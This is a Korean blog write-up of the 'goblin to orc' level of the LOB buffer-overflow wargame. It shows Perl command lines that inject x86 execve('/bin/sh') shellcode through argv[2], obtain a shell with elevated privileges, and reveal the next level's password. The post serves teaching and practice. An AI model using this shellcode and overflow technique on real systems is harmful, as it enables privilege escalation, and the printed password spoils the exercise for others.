wargame/LOB Redhat

goblin to orc

Sanguine 2014. 5. 27. 13:54

1.ret2libc

 

소스를 보면, 환경변수 공격을 무력화 시키는 egg hunter 포함되어 있고, 프로그램의 인자의 47번째 글자는 '\xbf' 되어야 한다.

 

 

버퍼의 크기는 int i포함해서 44이다.

 

47번째에 '\xbf' 넣어보앗다.

 

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x41"x47,"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

풱egmentation fault

예상대로 if문을 지나가고 strcpy 인한 bof취약점으로 인한 segmentation fault 일어난다.

 

argv[1] 44~47번까지는 ret인데 이말은 ret 주소가 bf 시작되어야 한다는 말이다.

 

그래서 system 주소는 40으로 시작하므로, 다른공격을 시도해야 한다.

 

 

 

2.환경변수공격

 

egg hunter 인해 불가능

 

 

 

3.argv[2] 이용한 공격

공격이 가장 적당한듯 하다.

argv[2] 위치를 확인해보면 주소가 bf 시작하고 적중률도 높기 때문이다.

gdb 돌렸을 때의 argv[2] 위치

(gdb) x/s 0xbffffe2c

0xbffffe2c:      'a' <repeats 47 times>, "?

 

payload 작성

[nop*44][argv[2] nopslide]

 

공격해보자!

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x1000,"\x31\x

c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풱egmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\

xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풱egmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\

xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풺ash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata